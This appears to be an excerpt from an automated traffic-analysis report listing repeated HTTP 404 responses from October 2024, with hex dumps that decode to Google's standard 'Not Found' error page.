Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:11:20 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:11:22 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:11:23 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:11:26 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:11:27 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:11:28 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:11:32 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 